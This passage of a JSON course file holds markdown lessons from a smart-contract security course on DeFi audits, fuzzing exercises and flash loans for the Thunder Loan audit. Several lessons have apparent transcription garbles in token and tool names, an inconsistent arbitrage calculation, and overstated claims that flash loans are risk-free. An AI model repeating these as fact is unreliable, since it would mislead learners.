absence of an invariant check led to their exploit. But people do differ on nomenclature, some prefer to call it CEI and pre and post-checks.\n\n## Diving into DeFi\n\nThe constant product formula X \\* Y = K, oft-used in many DeFi protocols, particularly AMMs, is a powerful tool. For more adventurous explorations into the realm of DeFi, DeFi Llama is a great resource.\n\nHaving said that, we were also introduced to other beneficial tools like stateful and stateless fuzzing, Echidna consensus, and other fuzzers. Although mutation or differential testing didn't make it onto the list, they're definitely on the cards for future lessons.\n\n## Deciphering Solidit\n\nSolidit presented itself enormously useful, allowing us to cross-check if an issue has been previously pointed out by someone else. It helps us to learn about new findings and also verify if we're on the right track.\n\n## Welcome to A World Of Weirdness\n\nNo, we're not stepping into a horror movie. Welcome to the world of ERC20s, where weird is the new normal, and this trend doesn't seem to be fading. But not to worry – Trail of Bits has provided a handy checklist to make sure you're making the right choices. There's also a master list naming all the weird ERC20 tokens – a post-apocalyptic catalog if you'd wish to call it so.\n\n## Concluding Thoughts\n\nIf you’ve accompanied us this far, give yourself a round of applause. It's remarkable progress considering the level of understanding you now hold. You've essentially audited the Uniswap codebase and are now fully equipped to delve into the world of security, undertake competitive audits, bug bounties, or even get hired!\n\nNevertheless, we recommend you complete the course to further enrich your learning. Pat yourself on the back for your achievement, take a well-deserved break, and get ready to tackle some challenges ahead.\n", + "updates": [] + }, + { + "id": "2183b4e7-d6f9-4d3b-ba24-179fa1df2c95", + "number": 49, + "title": "Exercises", + "slug": "exercises", + "folderName": "49-exercises", + "description": "", + "duration": 3, + "videoUrl": "-oBnbA3-QCw", + "rawMarkdownUrl": "/routes/security/5-tswap/49-exercises/+page.md", + "markdownContent": "---\ntitle: Exercises\n---\n\n\n\n---\n\n# Exciting Dive into Smart Contract Fuzz Testing and Learning Techniques\n\n### Exploring Tint's Code Error\n\nThe other day, Tint was kind enough to share a fascinating gist that truly piqued my interest. It contained a small snippet of a code base that had one glaring issue. Of course, it was not just the issue itself that caught my attention, but more so what this issue represented - an exciting opportunity to start honing your smart contract fuzzing skills with Foundry.\n\n![](https://cdn.videotap.com/cVgMHZy43EUCFjsPdVYm-15.24.png)\n\nThe scenario offered by this code base is straightforward. It features a registry contract that permits callers to register by paying a predetermined fee in ETH. If the caller sends too little ETH, the execution reverts. However, if they send too much ETH, the contract obliges by returning the extra funds.\n\nLooking at the unit test reports, everything seems perfect- right? But hold your horses; there's a twist. Your challenge is to write at least one fuzz test via the registering contract. This fuzz test must correspond to the brief specification above and capable of detecting a bug in the register function.\n\nAlways remember to undertake this task before moving ahead. Why? Because it can remarkably hone your fuzz test writing skills.\n\n### Amplify Learning with Social Media\n\nAmidst this coding, let's spice things up with a tad bit of tweeting. Don't be confused, it's a part of the process. Remember, as a security researcher (focus on the 'researcher'), you aim to excel at researching and comprehending issues. Go forth, dive into Solidity and learn something unique.\n\nYou can start with something as straightforward as reentrancy. As a topic we've repeatedly discussed and will continue to, there's a wealth of knowledge to be extracted. Find examples of different reentrancy attacks- perhaps the highs. Choose a crazy reentrancy attack, learn about it, break it down and share your learning on Twitter.\n\n> _\"One of the best ways to learn is something called the TeachBack Method, where if you teach something back to somebody, that is a great way to learn.\"_\n\n### Take a breather\n\nNow seems like an excellent time to grab a cup of coffee and unwind for a bit.\n\nIf you haven't yet signed up for [codehawks](https://codehawks.com), now's the time! We have exceptional first flights lined up that will give you the confidence boost you need.\n\n![](https://cdn.videotap.com/08R5XEP6FtKgKciMJKrm-101.6.png)\n\n### Coming up next...\n\nBrace yourself for Section Six with Centralization Proxies and Oracles featuring the intimidating Thunder loan audit. We will also cover Boss Bridge before moving on to tackling the Vault Guardians Boss codebase.\n\nSo, gear up, recharge your brains with a coffee break, and let's dive into the world of smart contracts!\n\nSee you soon folks.\n", + "updates": [] + } + ] + }, + { + "number": 6, + "id": "e0cddd25-1df1-4c9f-af68-53e33c616bad", + "title": "Thunder Loan", + "slug": "thunder-loan", + "folderName": "6-thunder-loan", + "lessons": [ + { + "id": "9666c162-de47-4243-b6b9-cf754d78d588", + "number": 1, + "title": "Introduction", + "slug": "introduction", + "folderName": "1-introduction", + "description": "", + "duration": 6, + "videoUrl": "FZ11HdxqMjU", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/1-introduction/+page.md", + "markdownContent": "---\ntitle: Introduction\n---\n\n\n\n---\n\n# Deep Dive into Security Testing with the Thunder Loan Audit\n\nWelcome back to your favorite security course repository! I trust you've spent some time on that fuzzing exercise because this lesson is going to be a _real deep dive_ into security testing. We've already learned tons of tools and skills, and now it's time to really apply and hone those skills as we dig into _Section Six: Thunder Loan Audit._\n\n## The Context: Thunder Loan Protocol\n\nLet's begin by git-cloning this lesson's code fro Github.\n\n![](https://cdn.videotap.com/iLoskdCcOE28WEUkiXTF-68.76.png)\n\nThis richly detailed protocol we'll be auditing has a fantastic logo - a frog with a thunder bolt on its chest standing over a pile of money. However, beneath this cool exterior, there lies a multitude of bugs waiting to be smoked out. This protocol also gives us a detailed experience of two of the most important DeFi protocols in the world, _Aave and Compound_, as it's majorly based on these.\n\n## DeFi, Borrowing, and Lending\n\nThese protocols are the crux of DeFi borrowing and lending, a fundamental financial concept in the DeFi universe. Whilst auditing the Thunder Loan protocol, we'll naturally delve a bit into understanding Aave and Compound.\n\n## Pricing Information and Oracles\n\nWe had a touch on this in the Puppy Raffle exercise. However, here we delve deep into the significance of sourcing accurate pricing information for assets and how to ace this process effectively as we interact with Oracles.\n\n> \"A lot of people use \\[upgradable contracts\\]. We need to know how to keep them secure.\"\n\n## Upgradable Contracts\n\nFor the first time, we'll be interfacing with an upgradable contract, a common feature in the wild world of Web 3. Now, whether or not these contracts are optimum is up for debate, but their usage is indeed undeniable.\n\n## Multifaceted Proxies\n\nWe are not going to be delving deep into the multifaceted proxy, also known as _the diamond standard_, but we're definitely going to talk a bit about its functionalities and distinctive features.\n\n![](https://cdn.videotap.com/bnzGy4zQOk9RwQjEXVOh-189.08.png)\n\nMoreover, we'll be learning about another brilliant tool called the **Upgrade Hub**. This tool comes in handy for discerning which contracts have been upgraded and which upgrades might be construed as rug pulls. By inserting a contract address, you'll be able to view its complete upgrade history, appearing similarly to git diffs.\n\n> \"Upgrades are highly sensitive in the Web 3 world. This \\[Upgrade Hub\\] is a great place to learn about and work with proxies and view their history.\"\n\n## Centralization and Defi Security Audits\n\nOur previous interactions with the T-SWAP or Uniswap audit only scratched the surface, introducing us to DEXes, invariants, and important DeFi protocols. With Thunder Loan, we’re moving to a new level.\n\nThis protocol’s code base has many common DeFi bugs, which make this one of the most important audits you can learn from. In addition to these security flaws, it introduces the concept of flash loans—a \"monster\" tool with an enormous amount of information to explore.\n\nBy the time you've audited this code base, which consists of multiple folders and contracts and guides you through a more advanced protocol, you'll significantly enhance your understanding of DeFi security audits.\n\n## Price Oracle Manipulations\n\nAccording to the curriculum, price oracle manipulation was the principal attack for the first half of 2023. So as we audit the Thunder Loan protocol, we'll be learning how to tackle this risk head-on.\n\n> \"This course provides an extensive and comprehensive walk-through of the protocol that’s packed with so many common DeFi bugs that you will learn plenty along the way.”\n\nTo wrap it up, the full report and notes on how to generate the audit report are waiting in the Thunder Loan git repo’s `audit-data` branch as usual. Brace yourself and get ready to unearth a treasure trove of bugs and become a better security tester while we audit the Thunder Loan protocol!\n", + "updates": [] + }, + { + "id": "c4bd6e67-622f-4978-81ab-b6a6b8415676", + "number": 2, + "title": "Phase 1: Scoping", + "slug": "phase-1-scoping", + "folderName": "2-phase-1-scoping", + "description": "", + "duration": 4, + "videoUrl": "OGv8-uhUcDw", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/2-phase-1-scoping/+page.md", + "markdownContent": "---\ntitle: Phase 1: Scoping\n---\n\n_Follow along with the video lesson:_\n\n\n\n---\n\n# Scoping out a Codebase: A Comprehensive Guide\n\nCode auditing is a crucial part of every developer's journey. Whether you're managing an open-source project or conducting a security review, understanding a codebase in and out is indispensable. So where do we start?\n\nWell, this guide promises to take you through the nitty-gritty of scoping out a codebase, using a protocol as an example.\n\n## Kicking Things off With the README\n\nThe README documentation serves as a good starting point when familiarizing yourself with a new protocol. While initial impressions might provoke a 'blah, blah, blah, whatever' response, we can extract valuable information about the audit scope details in this document.\n\nIn our case, the README delineates the commit hash details, which you'd typically implement via the `git checkout` command.\n\n```bash\ngit checkout [paste the commit hash here]\n```\n\nFor learning purposes, however, we're going to stick with the main branch.\n\n## Understanding Included Contracts\n\nYour next port of call should be examining the contracts embedded within the codebase. In our scenario, we noticed all contracts resided in the protocol source, particularly in the `interface for protocol`. Interestingly, we also saw an upgraded version of the protocol.\n\nThis raised a question mark—what defines this 'upgraded protocol'? The particulars will unravel as we progress.\n\n## Code Version\n\nPay attention to the Solidity version for the protocol—ours was v0.8.20. Be mindful that the contract should match Ethereum's latest security standards.\n\n## Contracts Handled\n\nWe next located some ERC 20 contracts—namely USDC, die, Link, West. Use your past knowledge to understand how these contracts work. From our last course, we discovered that the USDC supports an upgradable contract and encompasses a block and allow list.\n\n> \"This information is vital as we need to understand how our protocol manages a token, which can transform completely.\"\n\n## Identifying Roles\n\nWe identified different roles within the protocol including an owner, a liquidity provider, and a user. Hoodwinked by terms like \"liquidity provider\"? Don't fret! As you delve deeper into DeFi, you will acquire familiarity with this lexicon.\n\nIn our case, we discovered that a liquidity provider is someone who deposits assets to earn interest, while a user is someone who takes flash loans from the protocol.\n\nThe protocol's owner holds the power to update the implementation—interesting.\n\n### Digging Out Known Issues\n\nWe also found some known issues detailed in the README, warranting a revisit after gaining more context.\n\n## Analyzing Makefile\n\nPotentially useful insights lay in the `Makefile`, where we found Slither configuration along with some other tools. We took a minute to run solidity metrics on this \"bad Larry\", yielding an output that adds value to our understanding.\n\n```bash\nsolidity-metrics [insert codebase here]\n```\n\nIn our audit, the API gave an output of 391 N slock and 327 complexity score, indicating most complexity resided in the `Thunderloan` and `Thunderloan-upgraded`.\n\nWe dropped these metrics into a markdown file as notes to help gauge process duration in future audits.\n\n## The Importance of Context and Reconnaissance\n\nEnding phase one of our audit process, it's clear that understanding an unknown codebase—and by extension, performing a protocol audit—is a matter of patience and practice. Taking your time and being methodical can help you glean valuable contextual information about the codebase.\n\nIn the part two of this guide, we'll conduct some rigorous reconnaissance, promising further insights into the protocol audit process. Stay tuned!\n", + "updates": [] + }, + { + "id": "06bc8d6e-5b70-4b7e-b650-01ee9c4d791a", + "number": 3, + "title": "Reading The Docs", + "slug": "reading-the-docs", + "folderName": "3-reading-the-docs", + "description": "", + "duration": 4, + "videoUrl": "ZolEhNT2wMk", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/3-reading-the-docs/+page.md", + "markdownContent": "---\ntitle: Phase 2 Recon - Reading the Docs\n---\n\n\n\n---\n\n# Thunder Loans: In-depth Dive into Flash Loan Protocols\n\nWelcome to this comprehensive deep dive into flash loan protocols. In particular, we will be focusing on the Thunder Loan protocol heavily based on Aave and Compound.\n\nIf you're not familiar with Aave, I recommend checking out this explainer video available at [Whiteboard Crypto](https://www.whiteboardcrypto.com/). It's a fantastic resource to learn the ins and outs of borrowing and lending protocols at a high level.\n\nFor this particular blog, we're going to thrust ourselves much deeper to dissect these protocols and thoroughly understand how they make Thunder Loans possible.\n\nLet's kick-off the discussion by outlining what is Thunder Loans.\n\n## Thunder Loan Protocol: A Flash Loan Blueprint\n\nThe Thunder Loan protocol is designed with two main objectives. Firstly, it aims to provide users with the ability to construct flash loans. Secondly, it offers liquidity providers a chance to profit off their capital.\n\n> \"What's a flash loan?\"\n\nIf you posed this question, I urge you to hang on as we will delve into it later in this post. But first, let's get up to speed on some terminology.\n\nA _liquidity provider_, as some of you might be aware, is an individual who pours money into a protocol to yield interest. An inevitable question that follows is, \"where does the interest come from?\" It's a question vital to both an investor and a security researcher's perspective.\n\nTaking t-swap as an example, the interest generated is sourced from the fees levied on swaps. Translating the same logic, in Thunder Loans, the interest is likely derived from the fees attached to these flash loans.\n\nRemember, when you deposit money into Thunder Loans, you're given an asset token, which gradually accrues interest over time depending on the prevalence of flash loans.\n\nAlright, let's dissect what exactly is a flash loan.\n\n## Flash Loans: A Simple Explanation\n\nThe term 'Flash Loan' refers to a loan that spans precisely one transaction. In simpler terms, a user can borrow any sum of assets from a loan protocol as long as they completely pay it back within the same transaction. Failure to adhere to this rule causes the transaction to revert, cancelling the loan automatically.\n\nAdditionally, a tiny fee is imposed to the protocol depending on the borrowed amount. In Thunder Loans, to determine these fees, we utilize the renowned on-chain T-swap price Oracle.\n\n![](https://cdn.videotap.com/NZwarBK1M4rlkUCCFnyN-120.67.png)Thunder loans are currently planning to progress from the existing Thunder Loan contract to an upgraded one. This upgrade forms part of our security review's scope.\n\nTo effectively navigate these waters, we must develop a solid understanding of flash loans and get better acquainted with this lending and borrowing protocol. Hopefully, some graphical diagrams could perhaps simplify our learning process.\n\nTherefore, to understand this innovative DeFi primitive, I implore you to delve more into flash loans. Its knowledge is crucial to dissect the intricacies of Thunder Loans.\n\n## Wrapping Up\n\nIn this modern era of DeFi, understanding flash loans is remarkably essential. This blog is intended to provide a leap pad that gets you from novice to advanced levels of understanding how Thunder Loans operates and what are Flash Loans.\n\nSo, pull out your notes, and let’s dive more in-depth into the world of flash loans. Understanding and leveraging flash loans can potentially change your perspective on lending and borrowing protocols.\n\nThat's all for today. Stay tuned for more insightful blogs on the expansive DeFi universe!\n", + "updates": [] + }, + { + "id": "b80e0aaa-037c-414a-b27c-85c8f0b845da", + "number": 4, + "title": "What is a Flash Loan?", + "slug": "what-is-flash-loan", + "folderName": "4-what-is-flash-loan", + "description": "", + "duration": 4, + "videoUrl": "CgwAYo9rpXo", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/4-what-is-flash-loan/+page.md", + "markdownContent": "---\ntitle: What is a flash loan? - Arbitrage\n---\n\n\n\n---\n\n# Flash Loans: Leveling the Crypto Playing Field\n\nAs advances in Decentralized Finance (DeFi) shift into high gear, decentralized exchanges (DEX) are positioned at the epicenter of these developments. Previously, trading on these platforms was a privilege reserved for the financial elite - popularly known as 'whales' - who could leverage their massive capital assets to make significant gains. However, the advent of **flash loans** has democratized this field.\n\nSo, how does this groundbreaking innovation operate and help bridge the gap between the haves and the haven'ts in the crypto world?\n\n## Understanding the Concept of Arbitrage\n\nLet's consider a typical scenario. Suppose there are two DEXs, A and B. On Dex A, the exchange rate for Ethereum stands at $5, and on Dex B, Ethereum is trading at $6. Savvy investors might be quick to see an opportunity for profit.\n\nYou could buy one Ethereum at DEX A for $5, then head over to DEX B and sell that Ethereum for $6. This simple transaction would net you a profit of $1. This process is known as **Arbitrage.**\n\n> “Arbitrage is exploiting the market's inefficiencies. By observing the different prices of an asset on various exchanges, you can leverage these differences to turn a profit.”\n\n![](https://cdn.videotap.com/14PlrcuOsiwwbz21cqO4-71.61.png)\n\n## Arbitrage in Action: Difference in Capital\n\nThe catch here is, to initiate this process, you would need to have the $5 necessary to kick-start this operation. But there’s an inherent limitation when you consider a small-scale trader, let’s say with only $5 in their pocket. Despite spotting this golden opportunity, they are limited to a single transaction due to their capital constraint. Their profits are also limited because they can only perform these operations one at a time.\n\nLet's consider a drastically different scenario: a user starts with a capital injection of $5,000 instead of $5. They can now purchase 1000 Ethereum tokens on DEX A and then sell them on DEX B, consequently earning $6,000. Here, the trader notches a profit of $1,000.\n\n> Simply put, the more money you start with, the higher your potential profits.\n\nIn the traditional web 2.0 world, this strategy was dominated by 'whales,' (a colloquial term denoting individuals with substantial capital or numerous tokens) as they could afford to take advantage of such lucrative opportunities.\n\n![](https://cdn.videotap.com/rrfz0m4i5sGKt8xvQTqp-135.26.png)\n\n## Introducing Flash Loans\n\nWhat if there was a mechanism that allowed any trader, regardless of their initial capital, to access substantial loans and instantly pay them back? Enter flash loans, an innovative concept that evens the playing field. In essence, a flash loan allows any user to become a \"whale\" for a single transaction.\n\nThrough flash loans, our earlier protagonist with only $5 can perform the same operations as the deep-pocketed trader with $5,000. This revolutionary concept raises a critical question: How can flash loans level the playing field and make web 3.0 finance more equitable?\n\nTo unravel this complex conundrum, we need a deep understanding of what a flash loan is and how it functions. Stay tuned as we dig deeper into this game-changing financial instrument in our ensuing posts.\n\nIn the next article, we dive into the workings of flash loans, their essence, and how they are leveling the playing field for every player in the crypto universe. Stay tuned!\n", + "updates": [] + }, + { + "id": "5308c413-16b5-42c8-8b55-91ccbe055788", + "number": 5, + "title": "Pay Back Or Revert", + "slug": "pay-back-or-revert", + "folderName": "5-pay-back-or-revert", + "description": "", + "duration": 4, + "videoUrl": "qeKdhbevo-w", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/5-pay-back-or-revert/+page.md", + "markdownContent": "---\ntitle: What is a flash Loan - Pay back the loan or revert\n---\n\n\n\n---\n\n# The Power and Potential of Flash Loans in DeFi\n\nFlash loans provide an innovative financial solution in the decentralized finance (DeFi) world, particularly for arbitrage and various other investment strategies. By examining how they work in the context of smart contracts, we can see how they open up fresh opportunities for DeFi users.\n\n## A Closer Look at DeFi Protocols and Smart Contracts\n\nIn DeFi, many protocols have funds inside a contract. For instance, 1,000 USDC might be stored in a contract, controlled by immutable code. It is this immutable nature that ensures that any funds disbursed by the contract are secured against possible theft.\n\nThe power of DeFi and smart contracts makes them amazing. Particularly because we can encode instructions into them. For instance, a smart contract can be encoded to lend 1,000 USDC to a borrower within a transaction, with the strict condition that the money is returned by the end of the transaction. If the borrower fails to repay the funds, then—in the miraculous world of web three—we can revert the entire transaction! This means that instead of the money disappearing, the transaction is restored to its initial state as though it never occurred. And all this can be encoded into the initial smart contract.\n\n## The Intricacies of Flash Loans in DeFi\n\nNow that we understand the code that governs them, let's look at what this process actually looks like in action.\n\n![](https://cdn.videotap.com/o9RbphgNLng9CnbEUGQa-140.92.png)\n\nImagine that a flash loan contract has been set up. The encoded contract permits a borrower to take a loan of 1,000 USDC, provided it is repaid by the end of the transaction. This all happens within a single transaction.\n\nThis borrowed money is then sent to a contract controlled by the borrower, where the borrower can perform various tasks with the borrowed funds. These might range from arbitrage strategies to simply maintaining the funds in possession for transaction. The contract then has an obligation to repay the loan to the initial lender contract.\n\nAt the end of the transaction, the lender contract conducts a check to ascertain whether the loan has been repaid. If the balance is less than the expected repayment, the entire transaction is reverted, and the blockchain state is restored to the point before the transaction took place.\n\nAnd this, in essence, is how a flash loan works. This facility couldn't exist outside of the web three world. It’s potential uses are almost limitless, making it an exciting financial tool in the realm of DeFi.\n\n## In the Real World of DeFi\n\nTake a moment to consider the implications of this. With strict conditions ensuring the return of funds, flash loans throw open novel opportunities in the decentralized finance space. Time and imagination are the only constraints on how these funds might be utilized within that single transaction.\n\n> The beauty of flash loans lies in their simplicity and security. A borrower can leverage these loans for sophisticated strategies in a secure, risk-free environment, thanks to built-in transaction reversion. Truly, flash loans embody the full potential of DeFi.\n\nFlash loans open up a playground for experimentation and investment strategy, and they are yet another reason DeFi is an exciting field to watch!\n", + "updates": [] + }, + { + "id": "e55d95b1-496b-43ce-9015-bb59b98e1b04", + "number": 6, + "title": "Liquidity Providers", + "slug": "liquidity-providers", + "folderName": "6-liquidity-providers", + "description": "", + "duration": 2, + "videoUrl": "2LFhhgcSxas", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/6-liquidity-providers/+page.md", + "markdownContent": "---\ntitle: What is a flash loan - Liquidity Providers\n---\n\n\n\n---\n\n# Deep Dive Into Flash Loans and Liquidity Providers\n\nWelcome to another blog post in our crypto education series, where we explore the intriguing world of decentralized finance (DeFi) concepts. Today, we'll be focusing on the concept of Flash Loans, a highly popular instrument in the DeFi space. More specifically, we'll look at the role of those special behind-the-scene players called Liquidity Providers - their relationship with Flash Loans and how they gain from the system.\n\n## The Concept of Flash Loans\n\nFor the uninitiated, Flash Loans are a DeFi innovation which enables borrowing of an asset without collateral, provided that the loan is repaid within the same transaction block. Now you may ask, how does money magically appear for these loans? And who provides this capital? Let's answer these.\n\n## Understanding Liquidity Providers\n\nJust like in traditional finance, the capital for loans don't just materialize out of thin air. The $1,000 or any amount of the Flash Loan is actually provided by what we call a \"liquidity provider\". In most cases, these are users (or \"whales\") who deposit a significant amount of money into a liquidity pool in a smart contract.\n\nFor instance, assume a user deposited $1,000 into a smart contract. This wouldn't be as simple as a one-sided transaction. Instead, they receive shares of the pool - a sort of 'receipt' denoting their contribution of $1,000 worth of tokens.\n\n## The Flash Loan Process\n\nThe Flash Loan's working can be understood through a simple flow: the user requests the Flash Loan, borrows the money, and immediately pays it back. The USDC quickly cycles between the borrower and the liquidity pool.\n\nIt's important to note that Flash Loans are not free to utilize. Borrowers have to pay a small fee every time they borrow, often something as minuscule as a +0.1% on the borrowed amount.\n\n## Earning Through Fees\n\nHere’s where things get interesting for our liquidity providers. Every Flash Loan borrowed, and the associated fee, is accrued in the contract. So instead of just the original $1,000, the total pool keeps keeping amplified by the accrued fees e.g., $1,002, $1,003, and so on as more Flash Loans are taken.\n\nIn layman's terms, liquidity providers gather fees from every Flash Loan issued, making their investment worth it. Indeed, as succinctly summed up in this quote:\n\n> \"Because they deposited money to the protocol, they're going to get fees for people taking out these Flash loans.\"\n\n![](https://cdn.videotap.com/YjlbuTfa3JOWtnR1HeLa-81.png)\n\nIn conclusion, Flash Loans present a fascinating facet of the DeFi world, with many moving parts at play. Here's cheers to getting to understand the skeleton of yet another DeFi innovation! Stay tuned for more DeFi explorations in our upcoming blogs.\n", + "updates": [] + }, + { + "id": "8232d5e0-21bb-491d-9e57-7dce5033eac4", + "number": 7, + "title": "Arbitrage Walkthrough", + "slug": "arbitrage-walkthrough", + "folderName": "7-arbitrage-walkthrough", + "description": "", + "duration": 5, + "videoUrl": "3cVWogdtSQM", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/7-arbitrage-walkthrough/+page.md", + "markdownContent": "---\ntitle: Arbitrage walkthrough\n---\n\n\n\n---\n\n# Spotting Opportunities with Flash Loans in DeFi: A Beginner's Guide\n\nIn this blog post, we'll walk you through a simple yet effective use case of flash loans in the ever-growing DeFi sphere. These instantaneous and uncollateralized crypto borrowings have the potential to level the playing field for those just beginning their journey with decentralized finance.\n\n![](https://cdn.videotap.com/pU3EHWsVTfLRc7Io0d4p-11.31.png)## The Scenario: Decentralized Exchanges and A Flash Loan Protocol\n\nFlash loans can be used to take advantage of discrepancies between different decentralized exchanges. In our use case, for illustrative purposes, let's imagine two decentralized exchanges, **DEX A** that values 1 ETH at $5 and **DEX B**, valuing 1 ETH at $6. Let's introduce our player, **Little Fox**, who initially has $5 and aspires to leverage these discrepancies for gains, much like big players or “whales“.\n\nOrdinarily, he could repeatedly buy ETH from DEX A and sell on DEX B to benefit from the price disparity while it lasts. However, performing this arbitrage manually would entail considerable gas fees and risk attracting copycats, eroding the arbitrage opportunity over time. This approach, therefore, isn't practical nor efficient.\n\nEnter **flash loans**, an innovative DeFi tool that can significantly change the landscape.\n\n![](https://cdn.videotap.com/nb798NifZCWAlRyaN0W8-39.57.png)\n\n## The Flash Loan Mechanism: How Does It Work?\n\nBelow, we're going to break down how our Little Fox can employ the power of flash loans and achieve the same level of profit as a whale.\n\nIn our example, there's a flash loan protocol that enables individuals to borrow substantial sums of capital. The protocol begins empty, awaiting deposits from prospective lenders.\n\nLet’s say a whale deposits $5,000 into the protocol, creating 5,000 flash loan tokens (FLTs). Owning 100% of the FLTs, the whale essentially owns all the money in the protocol. They can use their FLTs to retrieve their full deposit at any time they wish.\n\n## Step 1: Requesting the flash loan\n\nThe first step for Little Fox is to call the flash loan function on the smart contract to borrow the $5,000 from the protocol.\n\n### Step 2: Executing the arbitrage strategy\n\nRemember that all actions using the borrowed funds must occur within one blockchain transaction to prevent loan default. Therefore, we represent the following steps with a single 'transaction call'\n\n### Step 3: Repaying the flash loan\n\nFinally, Little Fox repays the $5,000 flash loan to the protocol and keeps the $1,000 profit.\n\n![](https://cdn.videotap.com/ZCzIKYmtOmiYCUylbef8-237.43.png)\n\nIn effect, by initially borrowing $5,000, buying 1,000 ETH, re-selling the ETH for $6,000 and returning the initial $5,000 (plus a tiny fee), Little Fox made the same $1,000 gain that the whale would’ve without the initial capital.\n\n> \"Despite starting with just $5 and incurring a tiny fee, our Little Fox was able to end up with a juicy profit of almost $1,000, thanks to flash loans.\"\n\nTo provide some perspective, let's keep in mind that real-world arbitrage opportunities won't always be as substantial, and gas costs can influence the profitability. However, the example underlines the power of flash loans to amplify potential profits in DeFi by enabling smaller players to punch above their weight.\n\nFlash loans epitomize the democratization of finance that lies at the heart of the DeFi movement. They demonstrate just how the playing field can be leveled by the power of smart contracts, providing opportunity and access to all participants, not just the 'whales'.\n", + "updates": [] + }, + { + "id": "044a08db-c6fa-4162-8996-88a28d93bf76", + "number": 8, + "title": "Are Flash Loans Bad?", + "slug": "are-flash-loans-bad", + "folderName": "8-are-flash-loans-bad", + "description": "", + "duration": 1, + "videoUrl": "9RDPIdTk3Tc", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/8-are-flash-loans-bad/+page.md", + "markdownContent": "---\ntitle: Are Flash Loans Bad?\n---\n\n\n\n---\n\n# Flash Loans in Crypto Finance: A Level Playing Field\n\nCrypto finance, or more aptly the world of DeFi (Decentralized Finance), is a rapidly evolving landscape. There's one key feature that has been stirring up quite a debate: **flash loans**. Today, we delve deeper into what flash loans are and how they're positively impacting the sphere.\n\nBefore we tread further, for those unfamiliar with the term, let's start with a brief walkthrough of what flash loans are.\n\n## What are Flash Loans?\n\nIn the context of DeFi, a flash loan is essentially an uncollateralized loan option that allows individuals to borrow cryptocurrency and repay it back within the same blockchain transaction. In other words, you borrow and repay in a single operation. This may sound more like a charade, but trust me, it's a feature that could be a game-changer.\n\n> \"Flash loans allow anybody to be a whale in the traditional finance world.\"\n\n![](https://cdn.videotap.com/Nz3tLzfPAOWomq9L4VVr-9.78.png)\n\nFlash loans are helpful in a myriad of applications, arbitrage being a major one, and we'll delve into exactly how these loans play out in the following sections.\n\n## The Power of Flash Loans\n\n### Equalizing the Playing Field\n\nIn the traditional finance world and even in most commerce spaces, arbitrage opportunities exist. For those unfamiliar with this term, arbitrage is simply the practice of taking advantage of a price difference between two or more markets. It involves striking a combination of matching deals that capitalize upon the imbalance, with the profit being the difference between the market prices.\n\nHowever, there's a catch: these opportunities are usually accessible only to the super-rich or \"whales\", as they're colloquially referred to in the crypto world. Why? Because they are the ones with substantial capital to participate in these kinds of opportunities.\n\nIn comes our knight in shining armour - the flash loans. By offering a way to take part in these opportunities without a massive initial capital, flash loans level the playing field and democratize the finance world, making it possible for anyone to be a ‘whale’ — if only for a single transaction.\n\n> \"In the DeFi world, thanks to flash loans, the playing field is leveled and anyone can be a ‘whale’ for a single transaction.\"\n\n![](https://cdn.videotap.com/khoXIky8WmJ5fr0DE16U-22.png)\n\n## The Positives of Flash Loans\n\nContrary to popular belief, flash loans are not a negative elixir. They are empowering smaller investors and participants by opening gateways to opportunities that were previously locked up for the privileged few.\n\nFirstly, these loans are uncollateralized, meaning that you don't have to put up any collateral to secure a loan. You just enter, borrow the money, do your business and pay the loan back — all within a single transaction block. This makes it really appealing for everyday folks to participate in the crypto market and benefit from the same.\n\nSecondly, flash loans have made it possible to conduct complex financial manoeuvres like arbitrage with practically zero upfront capital — a situation that was unthinkable not too long ago. This gives an opportunity to the ordinary individuals to make a profit from the fluctuations in the notoriously volatile crypto markets, thus breaking the monopoly the ‘whales’ had over such activities.\n\n![](https://cdn.videotap.com/WdxwLG3XbBSQfHjisOdu-28.11.png)\n\n## Conclusion\n\nIn conclusion, flash loans in the world of DeFi, despite some of the criticisms they face, are indeed a positive evolution, as they democratize the crypto financial world and make it accessible to an average investor. The power to be a crypto 'whale' for even a single transaction has brought a much-needed sense of equity to this space. Therefore, flash loans are here to stay and likely to shape an increasingly level playing field in the crypto industry moving forward.\n\nSo now, continue your exploration into the financial future. Know that you too can be a whale!\n", + "updates": [] + }, + { + "id": "cd8d2270-4a46-4bdb-a9ec-7df8212ed851", + "number": 9, + "title": "Recap", + "slug": "recap", + "folderName": "9-recap", + "description": "", + "duration": 3, + "videoUrl": "pq27L8XrgjI", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/9-recap/+page.md", + "markdownContent": "---\ntitle: Recap\n---\n\n\n\n---\n\n# Decoding Flash Loans: A Comprehensive Walkthrough\n\nWelcome back! Today we're going to steer the wheel down the crypto lane and dive into a fascinating concept - Flash Loans.\n\n![](https://cdn.videotap.com/e2sbhlbfl9ZreXlI3mzt-12.08.png)\n\n## How Do Flash Loans Work?\n\nA quick rundown of how this all functions is necessary. Picture this: a whale (a large player in the crypto market) deposits $5,000 into the flash loan protocol.\n\n![](https://cdn.videotap.com/ww7stcBKpXeTs9ZF51U1-30.19.png)\n\n### The User Comes In\n\nAfter this, a user comes in and pulls out a $5,000 loan from the flash loan. This person now needs to repay the $5,000 plus any fees associated; if not, the transaction will revert. The user uses this borrowed amount to purchase $1,000 worth of Ethereum (ETH).\n\n### Trading the ETH\n\nThen comes the interesting part. They sell the $1,000 worth of ETH for $6,000, and then return the originally borrowed amount—keeping $1,000 for themselves, which results in net earnings of $995 after paying a $5 fee.\n\n### Where Does The Money Go?\n\nSo, in the course of these transactions, the flash loan protocol ends up with the initial $5,000 plus the $5 fee.\n\n### Withdrawal by the Whale\n\nLastly, whenever the whale chooses, they can withdraw their initial deposit by trading back in the flash loan token, which signifies their 100% ownership of the pool. So, for their $5,000 deposit, they receive $5,005: a mix of the original deposit amount and the accumulated fees.\n\n## Learning About Arbitrage\n\nAlright, so that was quite a bit to absorb, but it paints a rough picture of how flash loans function. Now, why would someone want to use flash loans? A primary reason is arbitrage.\n\nArbitrage is a scenario where you exploit a price discrepancy on two different exchanges. For instance, if Exchange A lists ETH at $5 and Exchange B lists ETH at $6, you can buy from A and sell at B to make a profit. This is arbitrage simplified.\n\n## Flash Loans: Breaking Down Their 